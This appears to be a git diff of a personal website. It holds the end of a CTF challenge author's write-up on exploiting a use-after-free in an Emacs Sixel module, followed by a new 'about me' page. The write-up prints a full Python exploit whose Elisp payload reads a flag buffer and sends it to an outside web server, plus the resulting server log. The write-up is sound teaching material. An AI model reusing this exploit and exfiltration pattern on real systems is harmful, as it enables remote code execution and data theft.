the comments: we clear neither the heap -pointers in the cache nor the hashes. So, if the cache were evicted and you -inserted a Sixel image that had been cached prior to the eviction, the function -would return a stale pointer. - -So, where do we go with this? Let's look at the signature for =sixplayground-make-overlay=: - -#+BEGIN_SRC elisp -(defun sixplayground-make-overlay (start end data-or-function) - ... -#+END_SRC - -We pass the output of =sixel-decode-string= in as =data-or-function=. So if we can -coerce =sixel-decode-string= into returning an Emacs function object, then that -function will be called when the buffer is done being processed. - -Fortunately, it's fairly easy to construct a "function" that works, because -Elisp is quite lenient in what it considers a function. - -#+BEGIN_SRC elisp -(functionp 'eval-buffer) ; => t -#+END_SRC - -If we can coerce =sixel-decode-string= into returning the symbol naming a -function, then that function will be executed. - -Elisp objects are machine words where the type of the object is encoded in the -least significant bits. The concept is similar to that of the [[https://en.wikipedia.org/wiki/Tagged_pointer][tagged pointer]], -except that not all Emacs objects are pointers. Symbols, in particular, are just -identified by non-descriptive integers whose three least significant bits are -all =0=. - -#+BEGIN_SRC c -enum Lisp_Type - { - /* Symbol. XSYMBOL (object) points to a struct Lisp_Symbol. */ - Lisp_Symbol = 0, - - /* Type 1 is currently unused. */ - - /* Fixnum. XFIXNUM (obj) is the integer value. */ - Lisp_Int0 = 2, - Lisp_Int1 = USE_LSB_TAG ? 6 : 3, - - /* String. XSTRING (object) points to a struct Lisp_String. - The length of the string, and its contents, are stored therein. */ - Lisp_String = 4, - - /* Vector of Lisp objects, or something resembling it. - XVECTOR (object) points to a struct Lisp_Vector, which contains - the size and contents. The size field also contains the type - information, if it's not a real vector object. */ - Lisp_Vectorlike = 5, - - /* Cons. XCONS (object) points to a struct Lisp_Cons. */ - Lisp_Cons = USE_LSB_TAG ? 3 : 6, - - /* Must be last entry in Lisp_Type enumeration. */ - Lisp_Float = 7 - }; -#+END_SRC - -It isn't too difficult to find the in-memory representation of a symbol using -the dynamic module interface. Doing so is left as an exercise to the reader, as -it's been long enough that I've discarded a lot of my solution material. The -symbol I went for was =eval-buffer= for reasons you will soon see. - -The point about this being a non-descriptive integer rather than a pointer is an -important one, though. This means that one need not concern herself with i.e., -ASLR to carry out the exploit. - -Once you have the in-memory representation of the symbol, you can encode it as a -Sixel image using this Python function: - -#+BEGIN_SRC python -import png -from subprocess import Popen, DEVNULL, PIPE, STDOUT - -def data_to_sixel(data): - w = png.Writer(4, 2, greyscale=False) - p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) - w.write(p.stdin, data) - p.stdin.close() - try: - p.wait(5) - except Exception: - exit(1) - return p.stdout.read() -#+END_SRC - -** Exploit - -When this is decoded by the module, we know that there will be a heap chunk -/somewhere/ that contains the in-memory representation for our target symbol. Our -goal is to do some [[https://en.wikipedia.org/wiki/Heap_feng_shui][heap feng shui]] such that a stale pointer in the cache points -at this particular heap chunk. Then, we trigger a use-after-free, so that when -=sixel-decode-string= is called, it will return this symbol object, thereby -triggering the =or-function= path of =sixplayground-make-overlay=. - -This brings us to the solution. Like much of the other code in this article, it -is not pleasing to look at, but it gets the point across. - -#+BEGIN_SRC python -from base64 import b64encode -from subprocess import Popen, DEVNULL, PIPE, STDOUT -import struct -import time -import os -import png -import random - -EVAL_BUFFER=b"\x1bP0;0;0q\"1;1;4;2#0;2;0;0;0#1;2;0;0;0#2;2;1;1;1#3;2;1;1;1#4;2;2;2;2#5;2;2;2;2#6;2;2;2;2#7;2;3;3;3#8;2;3;3;3#9;2;4;4;4#10;2;4;4;4#11;2;4;4;4#12;2;5;5;5#13;2;5;5;5#14;2;5;5;5#15;2;6;6;6#16;2;6;6;6#17;2;7;7;7#18;2;7;7;7#19;2;7;7;7#20;2;8;8;8#21;2;8;8;8#22;2;9;9;9#23;2;9;9;9#24;2;9;9;9#25;2;10;10;10#26;2;10;10;10#27;2;11;11;11#28;2;11;11;11#29;2;11;11;11#30;2;12;12;12#31;2;12;12;12#32;2;13;13;13#33;2;13;13;13#34;2;13;13;13#35;2;14;14;14#36;2;14;14;14#37;2;15;15;15#38;2;15;15;15#39;2;15;15;15#40;2;16;16;16#41;2;16;16;16#42;2;16;16;16#43;2;17;17;17#44;2;17;17;17#45;2;18;18;18#46;2;18;18;18#47;2;18;18;18#48;2;19;19;19#49;2;19;19;19#50;2;20;20;20#51;2;20;20;20#52;2;20;20;20#53;2;21;21;21#54;2;21;21;21#55;2;22;22;22#56;2;22;22;22#57;2;22;22;22#58;2;23;23;23#59;2;23;23;23#60;2;24;24;24#61;2;24;24;24#62;2;24;24;24#63;2;25;25;25#64;2;25;25;25#65;2;25;25;25#66;2;26;26;26#67;2;26;26;26#68;2;27;27;27#69;2;27;27;27#70;2;27;27;27#71;2;28;28;28#72;2;28;28;28#73;2;29;29;29#74;2;29;29;29#75;2;29;29;29#76;2;30;30;30#77;2;30;30;30#78;2;31;31;31#79;2;31;31;31#80;2;31;31;31#81;2;32;32;32#82;2;32;32;32#83;2;33;33;33#84;2;33;33;33#85;2;33;33;33#86;2;34;34;34#87;2;34;34;34#88;2;35;35;35#89;2;35;35;35#90;2;35;35;35#91;2;36;36;36#92;2;36;36;36#93;2;36;36;36#94;2;37;37;37#95;2;37;37;37#96;2;38;38;38#97;2;38;38;38#98;2;38;38;38#99;2;39;39;39#100;2;39;39;39#101;2;40;40;40#102;2;40;40;40#103;2;40;40;40#104;2;41;41;41#105;2;41;41;41#106;2;42;42;42#107;2;42;42;42#108;2;42;42;42#109;2;43;43;43#110;2;43;43;43#111;2;44;44;44#112;2;44;44;44#113;2;44;44;44#114;2;45;45;45#115;2;45;45;45#116;2;45;45;45#117;2;46;46;46#118;2;46;46;46#119;2;47;47;47#120;2;47;47;47#121;2;47;47;47#122;2;48;48;48#123;2;48;48;48#124;2;49;49;49#125;2;49;49;49#126;2;49;49;49#127;2;50;50;50#128;2;50;50;50#129;2;51;51;51#130;2;51;51;51#131;2;51;51;51#132;2;52;52;52#133;2;52;52;52#134;2;53;53;53#135;2;53;53;53#136;2;53;53;53#137;2;54;54;54#138;2;54;54;54#139;2;55;55;55#140;2;55;55;55#141;2;55;55;55#142;2;56;56;56#143;2;56;56;56#144;2;56;56;56#145;2;57;57;57#146;2;57;57;57#147;2;58;58;58#148;2;58;58;58#149;2;58;58;58#150;2;59;59;59#151;2;59;59;59#152;2;60;60;60#153;2;60;60;60#154;2;60;60;60#155;2;61;61;61#156;2;61;61;61#157;2;62;62;62#158;2;62;62;62#159;2;62;62;62#160;2;63;63;63#161;2;63;63;63#162;2;64;64;64#163;2;64;64;64#164;2;64;64;64#165;2;65;65;65#166;2;65;65;65#167;2;65;65;65#168;2;66;66;66#169;2;66;66;66#170;2;67;67;67#171;2;67;67;67#172;2;67;67;67#173;2;68;68;68#174;2;68;68;68#175;2;69;69;69#176;2;69;69;69#177;2;69;69;69#178;2;70;70;70#179;2;70;70;70#180;2;71;71;71#181;2;71;71;71#182;2;71;71;71#183;2;72;72;72#184;2;72;72;72#185;2;73;73;73#186;2;73;73;73#187;2;73;73;73#188;2;74;74;74#189;2;74;74;74#190;2;75;75;75#191;2;75;75;75#192;2;75;75;75#193;2;76;76;76#194;2;76;76;76#195;2;76;76;76#196;2;77;77;77#197;2;77;77;77#198;2;78;78;78#199;2;78;78;78#200;2;78;78;78#201;2;79;79;79#202;2;79;79;79#203;2;80;80;80#204;2;80;80;80#205;2;80;80;80#206;2;81;81;81#207;2;81;81;81#208;2;82;82;82#209;2;82;82;82#210;2;82;82;82#211;2;83;83;83#212;2;83;83;83#213;2;84;84;84#214;2;84;84;84#215;2;84;84;84#216;2;85;85;85#217;2;85;85;85#218;2;85;85;85#219;2;86;86;86#220;2;86;86;86#221;2;87;87;87#222;2;87;87;87#223;2;87;87;87#224;2;88;88;88#225;2;88;88;88#226;2;89;89;89#227;2;89;89;89#228;2;89;89;89#229;2;90;90;90#230;2;90;90;90#231;2;91;91;91#232;2;91;91;91#233;2;91;91;91#234;2;92;92;92#235;2;92;92;92#236;2;93;93;93#237;2;93;93;93#238;2;93;93;93#239;2;94;94;94#240;2;94;94;94#241;2;95;95;95#242;2;95;95;95#243;2;95;95;95#244;2;96;96;96#245;2;96;96;96#246;2;96;96;96#247;2;97;97;97#248;2;97;97;97#249;2;98;98;98#250;2;98;98;98#251;2;98;98;98#252;2;99;99;99#253;2;99;99;99#254;2;100;100;100#255;2;100;100;100#0AAAB$#128@#193@#6@-\x1b\\" -PAYLOAD=b""" -(save-excursion - (set-buffer (get-buffer "*flag*")) - (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) - (buffer-string)) -""" - -def data_to_sixel(data): - w = png.Writer(4, 2, greyscale=False) - p = Popen(["convert", "/dev/stdin", "-geometry", f"{len(data[0])}x{len(data)}", "sixel:-"], stdout=PIPE, stdin=PIPE, stderr=STDOUT) - w.write(p.stdin, data) - p.stdin.close() - try: - p.wait(5) - except Exception: - exit(1) - return p.stdout.read() - - -def random4x2(): - return data_to_sixel( - [tuple([random.randrange(0, 100) for _ in range(3 * 4)]), - tuple([random.randrange(0, 100) for _ in range(3 * 4)])] - ) - - -def emacs_exec(cmd): - p = Popen(["emacsclient", "--eval", cmd], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) - try: - p.wait(30) - except Exception: - exit(1) - return p.stdout.read() - - -def submit(data): - b64encode(PAYLOAD + b"\n" + data) - emacs_exec(""" - (progn - (set-buffer (get-buffer "*scratch*")) - (delete-region 1 (buffer-size)) - (insert (base64-decode-string \"{}\"))) - """.format(b64encode(PAYLOAD + b"\n" + data).decode())) - resp = emacs_exec("(progn (set-buffer (get-buffer \"*scratch*\")) (buffer-string))") - if b"FLAG" in resp: - print(resp) - -daemon = Popen(["emacs", "--fg-daemon"], stdout=PIPE, stdin=DEVNULL, stderr=STDOUT) -time.sleep(3) - -# 0. Connect to the remote. -emacs_exec("(rudel-join-session `(:transport-backend ,(rudel-backend-choose 'transport (lambda (backend) (rudel-capable-of-p backend 'listen))) :protocol-backend ,(rudel-backend-choose 'protocol (lambda (backend) (rudel-capable-of-p backend 'host))) :color \"Blue\" :username \"attacker\" :global-password \"\" :user-password \"\" :host \"34.136.139.6\" :port 6522 :encryption nil))") -if b"nil\n" == emacs_exec("(rudel-unsubscribed-documents rudel-current-session)"): - print("[a] Failed to connect...") - daemon.kill() - exit(1) -litmus = emacs_exec(""" -(dolist (document (rudel-unsubscribed-documents rudel-current-session)) - (rudel-attach-to-buffer document (get-buffer "*scratch*")) - (let ((connection (oref (oref document session) connection))) - (rudel-subscribe-to connection document))) -""") -if b"ERROR" in litmus: - print("[b] Failed to connect...") - daemon.kill() - exit(1) - -original_cache = [] - -dump = PAYLOAD - -# 1. Populate the cache. -for _ in range(8): - dat = random4x2() - original_cache.append(dat) - dump += dat - -# 2. Evict the cache. -dump += random4x2() - -# 3. _Some_ allocation between now and fully populating the cache will overlap -# with the Emacs struct array. We don't necessarily know when, so pick random n. - -# n = random.randrange(0, 8) -n = 0 -# for i in range(n): -# dat = random4x2() -# original_cache[i] = dat -# dump += dat - -# 4. Submit the magic payload. -dump += EVAL_BUFFER - -# 5. Overlap should be some random entry afterward... -k = 5 -# k = random.randrange(n + 2, 8) -# dump += original_cache[k] - -submit(dump) -submit(original_cache[k]) - -emacs_exec("(rudel-disconnect rudel-current-session)") -print(f"n = {n}, k = {k}") -daemon.kill() -#+END_SRC - -I began by randomly choosing =n= and =k=. Trial and error led me to find that =n = 0, -k = 5= was the most reliable choice of the two, so they are hard-coded. There is -still some nondeterminism involved in the exploit, so you will have to run the -exploit script several times before it is fruitful. - -Besides the heap feng shui and use-after-free described above, we are inserting -some Elisp code to be executed by =eval-buffer= when we are successful. In -particular: - -#+BEGIN_SRC elisp -(save-excursion - (set-buffer (get-buffer "*flag*")) - (url-retrieve-synchronously (format "http://jakob.space/%s" (buffer-string))) - (buffer-string)) -#+END_SRC - -So after setting up a Bash script to run my exploit in a loop, all I needed to -do was log into my home server, =tail -f= the logs, and crack open a beer. - -#+BEGIN_SRC prog -jakob@[REDACTED] /var/log $ gunzip < [REDACTED] | grep UMASS -www.jakob.space:80 [REDACTED] - - [31/Mar/2022:20:33:08 -0400] "GET /UMASS%7Bn0T_4_DUnk_0n_3M4c2_By_4nY_M34n2.._n3Xt_Y34r_will_b3_n30V1M%7D HTTP/1.1" 301 706 "-" "URL/Emacs Emacs/27.2.50 (X11; x86_64-pc-linux-gnu)" -#+END_SRC - -* On the CTF as a Whole - -I don't have too much to say. I think the competition went well. Thanks to all -who played. - -Despite all the burnout I was experiencing in the months leading up to the -competition, the comments on the [[https://ctftime.org/event/1561/weight][weight voting]] made it worth it for me, -especially hearing that folks liked the dumb game I spent months working on. - -I'm going off elsewhere for grad school now, but I'll continue to volunteer my -time with the UMass Cybersecurity Club for the foreseeable future. I helped to -sow the seeds, and now I have an opportunity to see things bloom. - ---- - -[fn:1] In Emacs, the principal data structure for storing editable text is the *buffer*. Each buffer has a unique name, and a buffer can either be tied to a file, or just be some ephemeral thing that only lasts as long as the Emacs session. =*scratch*= is a buffer that's open by default in Emacs, and it's of the latter "ephemeral" kind. The choice of buffer for the challenge was somewhat arbitrary. I went with =*scratch*= because it's known to nearly every Emacs user. - -[fn:2] Or JIT, if you're using the latest and greatest. - -[fn:3] This is where the challenge falls off the rails a bit in terms of realism. There's absolutely no reason to do this, and I posit it's unsafe to hold onto references in the C code at all since Emacs is a garbage-collected language. But I digress. Challenge design is an endless balancing act between "realistic" and "can be reasonably be solved in a weekend." - -# LocalWords: Rudel fn bot's Elisp FFI SRC elisp defvar diff --git a/haunt/pagefind.toml b/pagefind.toml index f2cf276..f2cf276 100644 --- a/haunt/pagefind.toml +++ b/pagefind.toml diff --git a/pages/about-complete.html b/pages/about-complete.html new file mode 100644 index 0000000..2534e47 --- /dev/null +++ b/pages/about-complete.html @@ -0,0 +1,677 @@ +--- +<div id="outline-container-orge997e31" class="outline-1"> +<h1 id="orge997e31">About me.</h1> +<div class="outline-text-1" id="text-orge997e31"> +<p> +My name is Jakob Kreuze (/ˈdʒeɪkəbˈkɹuz/ and /ˈjaːkɔp ˈkʁɔʏ̯tsə/ are both acceptable pronunciations). I'm a 23 year-old living in Greater Boston. I received my B.Sc. in Computer Science and Mathematics from the University of Massachusetts in 2021, and my M.Sc. in Computer Science from Brown University in 2024. Nowadays, I work full-time as a civil servant. +</p> + +<p> +I work primarily with the design of secure systems. My research interests are formal methods, distributed computing, symbolic execution, and signals processing. I did my undergraduate research in cryptography; the experience was gratifying and greatly influenced my career path, but I'm not especially interested in it these days. +</p> + +<p> +My free time not spent on chores or being with friends and family is spent working on personal projects, which are outlined <a href="https://jakob.space/pages/about.html">here</a>. +</p> + +<p> +If you're interested in game engine tech, my younger brother is working on a game engine + graphics engine of his own. You can read about it on <a href="https://p0ly.com/">his website</a>. I like to think of him as my protégé, but he's mostly self-taught. +</p> +</div> +<div id="outline-container-org946c808" class="outline-2"> +<h2 id="org946c808">My Interests</h2> +<div class="outline-text-2" id="text-org946c808"> +</div> +<div id="outline-container-orgf1c6be4" class="outline-3"> +<h3 id="orgf1c6be4">(Functional) programming</h3> +<div class="outline-text-3" id="text-orgf1c6be4"> +<p> +I was introduced to computer programming at an early age. My parents were given a Nintendo 64 as a wedding gift shortly before I was born, so I spent my early years playing <i>Ocarina of Time</i> and the likes. My young, impressionable mind drew inspiration, and I would go on about how I wanted to make games of my own. My technically-apt father was able to point me in the right direction for learning to do so. +</p> + +<p> +I was writing small games in Python by the time I was ten years old, though I have little to show for it with much lost to failing hard drives. The interest waxed and waned, but picked back up significantly when I turned 14 and began using GNU/Linux. +</p> + +<p> +The renowned <i>Structure and Interpretation of Computer Programs</i> was my introduction to functional programming, recommended by several in the "online" circle I hung around circa then. It's an excellent book, but I was not mature enough to understand it at that age. The points about higher-order functions did, however, click for me, and I was inspired to begin using the handful of functional programming tools available in Python, and to learn Common Lisp (because I thought the syntax laden with parentheses was obscure and cool). +</p> + +<p> +this was all prior to learning about the sort of object-oriented style that was taught in my ap computer science class. having to deal with that programming paradigm really cemented my opinions about why functional is the "right" way to write software. +</p> + +<p> +Nowadays, my favorite programming languages are Scheme, Haskell, and Rust. Depending on who you ask, some subset of those languages are "functional programming languages." It's not a clear-cut term, but what it means to me is an emphasis on immutability and higher-order functions. I consider all three to be functional, though Rust is somewhat of a black sheep. +</p> +</div> +</div> +<div id="outline-container-org703a058" class="outline-3"> +<h3 id="org703a058">Computer security</h3> +<div class="outline-text-3" id="text-org703a058"> +<p> +Amid my early years with computer programming, I was briefly introduced to web development and, in particular, PHP. The language has a reputation for the ease with which one can introduce security vulnerabilities, and as such, the book I was using to teach myself at the time expatiated about SQL injection, going so far as to walk the reader through an example. At eleven years old, this piqued my interest, and I soon sought out as much material on computer security as I could, showing my friends what I could do on <a href="https://www.hackthissite.org/">HackThisSite</a>. +</p> + +<p> +I began playing capture-the-flag when I was in high school and came across LiveOverflow's <a href="https://yewtu.be/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN">early videos</a>, which inspired me to play in the (now defunct) <a href="https://ctf-x.github.io/">CTF(x)</a>. I was a team of one until I started playing with <a href="https://0xbu.com/blog/">0xBU</a>. I was still in high school, only 16, but I noticed them on the leader-board. They were just a train ride away, so I reached out to ask if I could show up to their meetings. They said yes, so I spent most of my weekends downtown, getting good at pwning. +</p> + +<p> +In my university years, I was an e-board member of the <a href="https://umasscybersec.org/">UMass Cybersecurity Club</a>: playing for their CTF team, and putting serious work into the CTF's we hosted. +</p> +</div> +</div> +<div id="outline-container-org37f3452" class="outline-3"> +<h3 id="org37f3452">Lifting weights</h3> +<div class="outline-text-3" id="text-org37f3452"> +<p> +I exercise every day, barring extreme circumstances. +</p> + + +<figure id="orgb4aa2ba"> +<img src="../static/image/cbt-2023-04-13.jpg" alt="cbt-2023-04-13.jpg" /> + +<figcaption><span class="figure-number">Figure 1: </span>Current body as of April 13, 2023.</figcaption> +</figure> + +<p> +Sports didn't interest me when I was younger. I was signed up for soccer, and basketball, and many other after-school sports programs, but nothing stuck. +</p> + +<p> +At 13, I joined the <a href="https://en.wikipedia.org/wiki/Civil_Air_Patrol">Civil Air Patrol</a>, which changed my prior attitudes toward fitness. Now I had to pass fitness tests to promote, and I had to be in-shape for the emergency response work I was doing, so I picked up a regular exercise routine. I began with body-weight exercises and running outside, and I fell in love with it. Pushing yourself to exhaustion – until you can barely lift your arms – is addicting. But I was soon bored with calisthenics and begged my parents for a gym membership. I posed it as something I could do with my dad, and that's how I spent my evenings in high school. +</p> + +<p> +I don't lift competitively. I've had aspirations to over the years, but injuries have prevented me from pushing enough weight to place (herniated disk circa 2017, gluteus medius tear circa 2020). Perhaps my time will come. +</p> + +<p> +I'm selective about the fitness-related content I consume, tending to prefer folks in the "evidence-based fitness community" like Greg Nuckols, Eric Trexler, and Jeff Nippard. +</p> +</div> +<div id="outline-container-orgfa91307" class="outline-4"> +<h4 id="orgfa91307">Regimen</h4> +<div class="outline-text-4" id="text-orgfa91307"> +<p> +A given day is cardio xor weightlifting. It's rare that I do both on the same day. This is for the resiliency of my routine; if I know I'm going to be stuck somewhere without access to weights, I can still keep up with my routine by going outside to run. +</p> + +<p> +At the moment, I'm running the third of Jeff Nippard's "Powerbuilding System" programs, after having an exceptionally good experience with the first two. +</p> +</div> +</div> +</div> +<div id="outline-container-orgffcf739" class="outline-3"> +<h3 id="orgffcf739">Food and Permaculture</h3> +<div class="outline-text-3" id="text-orgffcf739"> +<p> +In spite of my deceptively trim figure, I love to cook and eat, especially when it involves unfamiliar cuisines. "Gourmand" is a term I often use when describing myself. +</p> + +<p> +I was fortunate that most of my meals growing up were homemade. It was much healthier than the alternative, and I was able to learn a lot from my parents in the kitchen. I started taking on that chore in high school with the aim of making things less stressful for my parents. Nowadays, it's practically a hobby for me. I love learning new skills and techniques, and making delicious meals to share with my friends and family. +</p> + +<p> +I especially enjoy dishes from Africa and South Asia. +</p> + +<p> +Having an adventurous palate, I'm also interested in permaculture, because it enables me to enjoy produce I would otherwise have a difficult time acquiring (like besobela, or Carolina reapers). My parents always had a garden when I was growing up, and I really enjoyed the idea of self-resiliency that's embedded in the hobby. It's been a bit difficult to grow much on my own because I currently live in an apartment, but some day I'll fulfill my dream of having a huge and varied garden just like theirs. +</p> +</div> +</div> +<div id="outline-container-org30cf18c" class="outline-3"> +<h3 id="org30cf18c">Music</h3> +<div class="outline-text-3" id="text-org30cf18c"> +<p> +I don't really play or write music at the moment. +</p> + +<p> +My parents signed me up for drum lessons when I was 10, and I did that until I was 18, eventually getting a summer job as a drum line instructor. I didn't have time to keep up with practicing when I went off to college. +</p> + +<p> +I tried to pick up the electric guitar in 2020 as my "pandemic hobby", but stopped a few months in because I was incredibly burned out with school and couldn't even find the five minutes to practice. +</p> + +<p> +I love to <i>listen</i> to music, though, especially when I'm exercising or working. Old punk rock, in particular. My favorite bands are the Descendents, Black Flag, and Minor Threat. +</p> +</div> +</div> +</div> +<div id="outline-container-org65e98e9" class="outline-2"> +<h2 id="org65e98e9">Technologies I Use</h2> +<div class="outline-text-2" id="text-org65e98e9"> +<p> +My preferred software stack: +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> + +<tr> +<td class="org-left">initd</td> +<td class="org-left">OpenRC</td> +</tr> + +<tr> +<td class="org-left">Shell</td> +<td class="org-left">Bash</td> +</tr> + +<tr> +<td class="org-left">Window Manager</td> +<td class="org-left">Awesome</td> +</tr> + +<tr> +<td class="org-left">Text Editor</td> +<td class="org-left">GNU Emacs</td> +</tr> + +<tr> +<td class="org-left">Email Client</td> +<td class="org-left">gnus</td> +</tr> + +<tr> +<td class="org-left">Web Browser</td> +<td class="org-left">eww, Mozilla Firefox</td> +</tr> + +<tr> +<td class="org-left">Torrent Client</td> +<td class="org-left">transmission</td> +</tr> + +<tr> +<td class="org-left">Keyboard Remapping</td> +<td class="org-left">xremap</td> +</tr> + +<tr> +<td class="org-left">Version Control</td> +<td class="org-left">git</td> +</tr> + +<tr> +<td class="org-left">Hex Editor</td> +<td class="org-left">radare2</td> +</tr> + +<tr> +<td class="org-left">Disassembler</td> +<td class="org-left">Ghidra</td> +</tr> +</tbody> +</table> + +<p> +Humorously, I went: awesomewm → i3 → dwm → exwm → stumpwm → awesomewm +</p> + +<p> +My Emacs configuration can be found <a href="https://git.sr.ht/~jakob/.emacs.d">here</a>. +</p> +</div> +<div id="outline-container-orgb74da9a" class="outline-3"> +<h3 id="orgb74da9a">Machines (In-Commission)</h3> +<div class="outline-text-3" id="text-orgb74da9a"> +</div> +<div id="outline-container-org9183ca0" class="outline-4"> +<h4 id="org9183ca0">endseal (Workstation)</h4> +<div class="outline-text-4" id="text-org9183ca0"> +<p> +I built this computer with my father when I was 12, and I still use it today. I've upgraded the graphics card and the RAM since then, but it's otherwise the same machine I had in middle school. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">Custom</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">Intel® Core™ i5-2500 CPU @ 3.30GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">AMD Radeon RX 460 Graphics (POLARIS11)</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">16GB DDR3</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-orgbc46ebc" class="outline-4"> +<h4 id="orgbc46ebc">stellarwind (Laptop)</h4> +<div class="outline-text-4" id="text-orgbc46ebc"> +<p> +My newest machine, and my daily driver for getting things done when I'm on the go (which constitutes most of my time these days). I'm a big fan of it. A fully-charged battery lasts several hours and it sports a powerful processor, all while being lightweight and quiet. I suspect it's a bit more powerful than endseal. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">ThinkPad™ T495s</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">AMD® Ryzen™ 5 PRO 3500U @ 3.70GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">AMD® Radeon™ Vega 8 Graphics</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">16GB DDR4</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-orge021047" class="outline-4"> +<h4 id="orge021047">forte (Mobile Workstation)</h4> +<div class="outline-text-4" id="text-orge021047"> +<p> +For extended trips away from my apartment, I have this mini-PC I put together. It's made me think a lot about hardware, since I spent only $300 on it, yet it's the most powerful machine I own currently. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">Custom</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">AMD® Ryzen™ 5 5560U @ 4.00GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">AMD® Radeon™ Vega 6 Graphics</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">12GB DDR4</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-orgd72e9dc" class="outline-4"> +<h4 id="orgd72e9dc">kandik (Cellphone)</h4> +<div class="outline-text-4" id="text-orgd72e9dc"> +<p> +Daily driver. It's an older phone but it runs PostmarketOS well and it's far more powerful than the PinePhone. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">OnePlus 6T</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">4 x Qualcomm Kryo cores @ 2.8 GHz + 4 x Qualcomm Kryo cores @ 1.8 GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">Qualcomm Adreno 630</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">6GB LPDDR4X</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">PostmarketOS (Phosh)</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-org0a0a626" class="outline-4"> +<h4 id="org0a0a626">misty (Server)</h4> +<div class="outline-text-4" id="text-org0a0a626"> +<p> +This is the machine that runs all of the server-side scripts for this site, as well as my Pleroma instance. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">PINE64 ROCKPro64</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">4 x ARM Cortex A53 cores @ 1.4GHz + 2 x ARM Cortex A72 cores @ 1.8 GHz</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">4GB LPDDR4 RAM</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-orgeed55ec" class="outline-4"> +<h4 id="orgeed55ec">hypo (Access Point)</h4> +<div class="outline-text-4" id="text-orgeed55ec"> +<p> +This used to serve the purpose that misty serves now. It wasn't powerful enough. I've re-purposed it as a wireless access point for when I visit my parents. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">Raspberry Pi 3 Model B</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">Broadcom BCM2837 @ 1.2GHz</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">1GB LPDDR2 SDRAM</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-org4629f02" class="outline-4"> +<h4 id="org4629f02">corona (Media Center)</h4> +<div class="outline-text-4" id="text-org4629f02"> +<p> +This was the laptop I lugged around with me in high school and college. It's absurdly heavy and large, and has an awful battery life, but it sports some decent hardware so I'm using it as a <a href="https://kodi.tv/">Kodi</a> and <a href="https://www.retroarch.com/">RetroArch</a> box. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">Lenovo Y50</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">Intel® Core™ i7-4700HQ @ 2.4 GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">NVIDIA® GTX-860M</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">8 GB DDR3</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> + +<p> +It saw a lot more use when I was living in Providence and my kitchen opened up into the living room. I'd use it to watch YouTube while I cooked or did dishes. +</p> +</div> +</div> +</div> +<div id="outline-container-org2804516" class="outline-3"> +<h3 id="org2804516">Other</h3> +<div class="outline-text-3" id="text-org2804516"> +<p> +For my home network, I have a TP-Link AC1750 Archer A7 running <a 